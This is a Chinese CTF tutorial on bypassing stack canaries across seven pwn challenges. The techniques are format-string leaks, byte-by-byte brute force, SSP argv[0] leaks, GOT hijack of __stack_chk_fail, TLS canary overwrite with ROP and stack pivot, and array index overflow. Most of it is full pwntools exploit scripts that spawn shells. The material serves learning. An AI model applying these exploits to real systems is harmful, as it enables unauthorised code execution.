转自:https://xz.aliyun.com/t/4657
这是做栈的题目遇到的各种有关于canary的操作,适合萌新收藏,大佬们请出门右拐,谢谢~
题目都在附件中,下面直接开始介绍吧。
题目1:bin
方法介绍:leak canary
利用格式化字符串漏洞,泄露出canary的值,然后填到canary相应的位置从而绕过保护实现栈溢出。
开始分析:
常规操作,先checksec下,再ida静态分析
很明显有格式化字符串漏洞和栈溢出漏洞,但是开了栈溢出保护,程序有2个输入,第一次输入可以先泄露cananry,第二次直接覆盖canary就可以栈溢出了,简单明了,gdb动态调试,可以看到canary在格式化字符串的偏移为7,
在第二个次输入中,我们需要输入到canary进行覆盖工作,这是可以看ida:
可以知道0x70-0xC = 0x64=100,那么就是说要覆盖100个字符才到canary的位置,这样就可以栈溢出了,跳转到这里即可:
EXP的payload:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和1
if local:
p = process('./bin')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
print canary
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()
题目2:bin1
方法介绍:爆破canary
利用fork进程特征,canary的不变性,通过循环爆破canary的每一位
开始分析:
有栈溢出漏洞,但是开启了栈溢出保护,又因为是线程,联想到爆破法,这题的canary地址和上题一样,先覆盖100位,再填,我们知道程序的canary的最后一位是0,所以可以一个一个地跑。
因为canary有4位,最后一位是\x00,所以还要循环3次,每一次从256(ASCII码范围)中取,有合适的+1,没有继续循环,直到跑出来,这是32位的情况,64位的话爆破7位。
最后栈溢出绕过直接执行那个函数。
payload:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和1
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
if "recv" in a:
canary += chr(i)
break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()
题目3:bin2(原题是OJ的smashes)
方法介绍:
ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。
开始分析:
这里介绍故意触发_stack_chk_fail:ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值,举个例子:
但是我们不知道flag的位置在哪里,有个小技巧就是字符直接填充flag的位置,只要足够大,就一定能行,但是看看ida:
发现被修改了值,所以是直接打印不出来的,这可怎么办才好,这里借助大佬的博客,说ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。这个flag应该会被映射到多个地方,也就是有副本,只要找出副本地址即可,接下来去gdb里面找:找个地址下断点,寻找CTF字符串,看到0x400d20。
这下直接写进去覆盖就好啦:
payload:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和1
if local:
p = process('./bin2')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
payload += p64(flag)*1000
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()
验收:
如果说老老实实做也是可以的,先看看那个argv[0]在栈中的位置:
然后看看我们的输入esp到它的距离:
计算下地址差值:0x218的偏移,所以直接:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和1
if local:
p = process('./bin2')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
#payload += p64(flag)*1000
payload += 0x218*'a' + p64(flag)
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()
验收:
题目4:bin3(原题是hgame的week2的Steins)
方法介绍:
劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表指针内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数。
开始分析:
栈溢出保护,堆栈不可执行,格式化字符串漏洞,这里一开始真的没有什么思路,后来师傅给了提示:
劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表内容为我们的后门函数地址,之后我们故意制造栈溢出调用__stack_chk_fail时,实际就是执行我们的后门函数。
payload:
#coding=utf8
from pwn import *
context.log_level='debug'
elf = ELF('./babyfmtt')
p = process('./babyfmtt')
libc = elf.libc
system_addr = 0x40084E
stack_fail = elf.got['__stack_chk_fail']
payload = ''
payload += 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
#gdb.attach(p,'b *0x04008DB')
p.recv()
p.sendline(payload)
p.interactive()
成功:
题目5:bin4
babypie
开始分析:
栈溢出保护,堆栈不可执行,堆栈不可写,只有got可以改,看逻辑,先输入名字到buf,刚好0x30的大小,这里马上想到泄露canary,因为后面有个printf函数,第二次输入有栈溢出漏洞(前提是绕过了栈溢出保护了),看看有没有可以getshell的函数:
随机化地址0xA3E可以直接getshell,很好,就跳转到这里吧。
大体思路:
1、因为canary的低位是\x00截断符,先用\x01去覆盖这个低位,然后打印出来后面的7位,最后加上\x00即可
2、通过填充canary实现栈溢出,跳到那个0xA3E函数处,由于随机化的地址,所以第四位不知道怎么搞,这里直接爆破第四位即可
EXP如下:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
#arch也可以是i386~看文件
local = 1
elf = ELF('./babypie')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
while True:
if local:
p = process('./babypie')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
#第一次调用尝试调用
system_addr = '\x3E\x0A'
payload = ''
payload += 'a'*0x28 +'\x01'
p.send(payload)
p.recvuntil('\x01')
canary = '\x00' + p.recv()[:7]
print hex(u64(canary))
payload = ''
payload += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
p.send(payload)
try:
p.recv(timeout = 1)
except EOFError:
p.close()
continue
p.interactive()
爆破是常规操作,不爆破也是行的,如图:
因为在read后其实前面的字节是一样的,所以只需要覆盖最后一个字节为\x3E即可:
最后检验下:
总结:这里就是利用了read函数后面有printf或者puts函数可以打印,通过覆盖低位\x0a,达到泄露低地址的目的,学习到了新技能。
题目6:bin5
bs
开始分析:
分析逻辑可知,是创建了进程,关键逻辑在start_routine函数那里,这里知道是s的大小是0x1010,而我们的输入可以达到0x10000,很明显想到栈溢出,但是有canary保护,而且是线程,所以我们这里学习一种新招式,TSL(线程局部存储)攻击,基本思路就是我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值为a,绕过了canary后就可以栈溢出操作了。
TLS中存储的canary在fs:0x28处,我们能覆盖到这里就好啦~当然我们不知道具体在哪里,所以只能爆破下:
这是爆破canary位置的脚本:
while True:
p = process('./bs')
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(main_addr)
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "Welcome" in temp:
p.close()
break
else:
offset += 1
p.close()
它会卡在offset为6128那里:
说明我们成功覆盖了canary,偏移量为6128。接下来就好办啦~利用栈迁移的操作+one_gadget直接getshell~
大体思路:
1、通过padding爆破填充a修改TLS中的canary为aaaaaaaa,从而绕过栈溢出保护(这里必须是线程的题目,而且输入足够大才行!)
2、泄露出puts的got地址得到真实的基地址,用于getshell
3、利用栈迁移(需要有read函数和leave;ret的ROP可以用),在bss段中开辟一个空间来写one_gadget来payload~
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(fakebuf)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakebuf)
payload += p64(0x0)
payload += p64(read_plt)
payload += p64(leave_ret)
payload += 'a'*(offset - len(payload))
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload = ''
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.send(payload)
p.interactive()
这是我们的payload在栈中的分布图,可以知道puts的真实地址是6位的,所以才要补齐两个\0,最后验证下:
其实这里不用栈迁移也一样做的(栈迁移是大佬写的,下面是自己复现时做出来的):
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
fgets_addr = 0x400957
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(fgets_addr)
payload += 'a'*(offset - len(payload))
p.send(payload)
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.sendline(payload)
p.interactive()
检验下:
总结:
针对于这种多线程的题目,修改TLS的canary,绕过canary,又增长了新姿势,这里提一下栈迁移,在有read函数的情况下,可以利用栈迁移的思想,到bss段是常有的事,一般是bss+0x300的位置开始写。如果read后面有puts函数或者printf函数,就可以泄露出ebp的值,从而确定栈顶指针,从而写到栈中,然后ebp写esp的地址,leave就会跳到esp去执行我们写入的东西。
题目7 bin6
homework
一波检查和分析
开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:
C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越界了,那么它会自动接着那块内存往后写。
漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~
再回来这题的栈,
这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./homework')
if local:
p = process('./homework')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7701)
libc = ELF('./libc.so.6')
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
p.recvuntil("What's your name? ")
p.sendline("Your father")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()
总结:
这里利用数组下标溢出轻松绕过canary直接到ret去getshell~完美。
后续会继续更新喔~